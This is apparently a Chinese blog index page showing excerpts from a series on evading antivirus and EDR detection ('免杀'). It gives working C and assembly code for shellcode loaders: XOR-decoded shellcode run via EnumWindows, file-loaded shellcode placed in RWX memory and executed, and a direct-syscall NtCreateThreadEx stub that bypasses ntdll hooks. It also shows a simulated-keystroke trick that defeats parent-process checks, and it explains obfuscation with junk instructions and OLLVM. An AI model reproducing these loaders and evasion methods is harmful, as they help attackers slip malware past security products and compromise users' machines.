https://q.qlogo.cn/headimg_dl?dst_uin=46113931&spec=640&img_type=jpg

Tupler's Blog~

从零开始的免杀生活-番外-进程链欺骗

0x00.序 针对某60,因为某60在ProcessObcallback 内核回调中 进行了父进程pid的获取以及检测 所以如果我们单纯的使用我们自己编译的文件调用一些敏感的api 如:危险注册表的操作,重要目录的修改,重点Com的调用 都会触发拦截。 针对这种情况我们称为 父进程检测 经过分析以及测试 我们知道以下的规则 explorer.exe(白文件) -> hack.exe(灰文件) -> 敏感操作 == 拦截 explorer.exe(白文件) -> safe.exe(白文件) -> 敏感操作 == 放行 这里需要说明 某些微软的系统文件可以进行危险操作的 虽然是白文件但是特定目录 特定的hash都被360给记录下来了,所以如果上述的safe是例如reg,cerutil等已经被利用烂了的白文件的话 就算是全进程链都是白的 这个操作他还是会拦截的,所以需要对这步进行绕过 如修改目录,修改文件名啥的. 以下是360的驱动在内核中的图片 0x01.模拟鼠标键盘 在windows下微软提供了许多api给我们用来模拟点击 例如SendInput,keybd_event,mouse_event等等 我们简单的用SendInput来写一个模拟实现按下 Win+r -> ctrl+v -> Enter 这个操作并事先置剪切版内容为我们需要执行的白文件,这里我们就用calc来 通过MSDN文档来看这个SendInput的api调用十分简单 只需要三个参数,主要都是围绕第二个参数INPUT这个结构体来的 根据文档我们就能写出以下的代码 #include <windows.h> int main() { //修改剪切板 TCHAR szText[] = L"calc.exe"; if (!OpenClipboard(NULL)) { return 0; } EmptyClipboard(); HANDLE hData = GlobalAlloc(GMEM_MOVEABLE, sizeof(szText)); LPWSTR pData = (LPWSTR)GlobalLock(hData); CopyMemory(pData, szText, sizeof(szText)); GlobalUnlock(hData); SetClipboardData(CF_UNICODETEXT, hData); CloseClipboard(); INPUT inputs[4] = {}; // 模拟按下Win+r inputs[0].

[从零开始的免杀生活]06.销声匿迹·下

0x00.序 时隔两个月又滚来更新。。没人看就当自己记录吧 上篇介绍了Srdi,通过使用ldrLoad 0x01.什么是系统调用 在win下要从R3(用户模式) 进 R0需要通过调用中断来实现 在x86下win使用sysenter 或者int 编号进r0 x64下通过syscall实现 0x02.sysCall 的作用 在R3创建进程时,我们调用的API函数都是在NTDLL里面统一进行系统调用的,所以edr只要hook了ntdll里面的所有函数就可以进行拦截和检测我们调用了哪些api函数,为了避免在用户层被EDR hook的敏感函数检测到敏感行为,利用从ntdll中读取到的系统调用号进行系统直接调用来绕过敏感API函数的hook。 0x03.syscall的编写 以x64的ntdll为例 我们使用ida 进入NtCreateThreadEx 看到反汇编中的代码 如下图 可以看到函数进0环的调用形式,高版本win的ntdll会先进行判断一下是否支持syscall如果不支持就使用int 2E中断调用,这边就直接默认他支持syscall(现在应该没有不支持的cpu了吧 mov r10, rcx mov eax, 调用号 syscall retn 所以我们编写时只需要知道当前系统的函数调用号就可以模拟ntdll进行系统调用,下面用VS给大家演示 Setp1.新建一个asm文件 .code NtCreateThreadEx proc mov r10,rcx mov eax,0C7h syscall ret NtCreateThreadEx endp end Setp2.添加依赖项 生成依赖项 -> 生成自定义 -> 勾选masm Setp3.添加函数声明 EXTERN_C NTSTATUS NtCreateThreadEx ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer ); Setp4.

[从零开始的免杀生活]05.销声匿迹·上

0x00.序 上篇介绍了分离免杀,但是只是给了个思路,后续我会将代码打包到 Github 上 这期讲讲 SRDI 0x01.什么是sRDI? 官方Github介绍 sRDI allows for the conversion of DLL files to position independent shellcode. It attempts to be a fully functional PE loader supporting proper section permissions, TLS callbacks, and sanity checks. It can be thought of as a shellcode PE loader strapped to a packed DLL. 翻译: sRDI 允许将 DLL 文件转换为位置独立的 shellcode。它试图成为一个功能齐全的 PE 加载器,支持适当的部分权限、TLS 回调和健全性检查。它可以被认为是绑定到打包 DLL 的 shellcode PE 加载器。 一般认为就是将dll在内存中加载,相当于模拟win系统加载dll的操作。我们可以将恶意代码写成dll 然后用 sRdi 转成Shellcode 这样就省一步我们写ShellCode。毕竟手写Shellcode还是比较麻烦的,毕竟还需要自己定义函数然后还要避开常量字符串。但如果有想了解手搓Shellcode的可以看我博客的另一篇文章,最近在github还上传了x64版本的代码,有兴趣的可以给个star。Github链接:https://github.

[从零开始的免杀生活]04.分头行动

0x00.序 相信看到这篇文章的你已经看过了这个系列前面的文章了(没看的快去看! 我们知道了如何存储,加密,混淆的进行shellcode的加载,但是我们的ShellCode还是存储在我们可执行文件里面,该篇将介绍 加载器与ShellCode分开的使用情况 0x01.多文件 通过WINAPI 中的 CreateFile 实现读取raw 格式或者 其他格式的shellcode ,然后再进行加载 示例: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 typedef v DWORD BytesRead = 0; //打开文件句柄 HANDLE hFile = CreateFileA("1.bin",GENERIC_ALL,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); //读取文件大小 DWORD dwFileLen = GetFileSize(hFile,0); //申请虚拟内存 unsigned char buffer* = (unsigned char*)VirtualAlloc(0, dwFileLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //读文件到虚拟内存中 ReadFile(hDllFile, buffer, dwFileLen, &BytesRead, 0); //关闭文件句柄 CloseHandle(hFile); //利用函数指针执行shellcode ((void(*)())buffer)(); 0x02.网络加载 通过 winapi 中的 winsocks 模块进行 网络传输shellcode

[从零开始的免杀生活]03.混淆视听

0x00.序 从上篇的特征码的定位我们可以了解到杀软的一直查杀方式,但是我们定位到了特征的位置,该如何去修改他呢? 今天给大家介绍一个东西 花指令,这个词熟悉逆向的朋友应该都知道,当我们通过加花的形式可以让ida的F5识别错误,同样的也可以让杀软的所匹配的特征码无法匹配。当然不懂逆向的朋友也不要紧,花指令就是一串无关紧要且无意义的代码. 0x01.花指令设计 不同于反ida的F5伪代码生成,我们只需要打乱特征即可。 1.Sleep 函数 顾名思义函数为睡眠,我们让在定位的特征附近加上Sleep(0); 让程序睡眠0秒,起到一个混淆视听的作用,当然可能这个函数和NOP 一样被杀烂了。 2.MSVC 内联汇编添加花指令 在MSVC编译器中我们可以通过__asm{} 来在C/C++函数中添加汇编代码,可以使用汇编进行加花的操作 例如 __asm{ nop nop add eax,1 sub eax,1 } 3.无意义的算法? 添加例如冒泡排序,二叉树的遍历,图的遍历,之类的函数,尽可能混淆关键代码 4.利用万用门 vmp的方法,通过万用门构造xor,nor,add,sub等 也可以使用一些新的如量子门? 公式如下 not(a) = P(a,a) and(a,b) = P(P(a,a),P(b,b)) or(a,b) = P(P(a,b),P(a,b)) xor(a,b) = P(P(P(a,a),P(b,b)),P(a,b)) 5.SEH异常处理 通过添加_try{}_except{} 抛出异常然后通过throw 抛出异常实现在catch中执行恶意代码,此方法不仅可以迷惑杀毒也可以迷惑一些 “新手” 逆向分析研究者。 6.对字符串加密 例如使用多层BASE64 或使用一些加密方法的魔改版本,最好是自己做点小修改。 0x03 使用OLLVM 混淆程序流 OLLVM包括控制流平坦化,拆分基本块,伪控制流等编译选项 0 clang -mllvm -sub -mllvm -split -mllvm -fla -mllvm -bcf main.c 由于ollvm在LLVM4.0版本后就不在维护,后续版本为其他人的维护版本 这里贴出几个链接 Pluto-Obfuscator(OLLVM12):https://github.com/bluesadi/Pluto-Obfuscator ollvm16:https://github.com/wwh1004/ollvm-16

[从零开始的免杀生活]02.逃出生天

0x00.序 上篇说到 如何编写一个基础的加密shellcode Loader ,但是当当一个基础的加密的loader是无法绕过强大的杀毒特征库的,这篇我们来讲讲特征码 的查找与如何对特征码进行混淆 0x01.回顾 将上篇提到的代码写入VS中编译出来 一复制到虚拟机环境中就被火绒报毒了 上篇代码 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned char encShellcode[] = { /*ShellCode Padding*/ }; int xorNum = 5; int PAGE_SIZE = 4096; int scLen = sizeof(encShellcode); for (size_t i = 0; i < scLen; i++) { encShellcode[i] ^= xorNum; } HANDLE heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 10 * PAGE_SIZE, 100 * PAGE_SIZE); LPVOID scAddr = HeapAlloc(heap, HEAP_ZERO_MEMORY, scLen); RtlMoveMemory(scAddr, encShellcode, scLen); EnumWindows((WNDENUMPROC)scAddr, NULL); 将上篇提到的代码写入VS中编译出来 一复制到虚拟机环境中就被火绒报毒了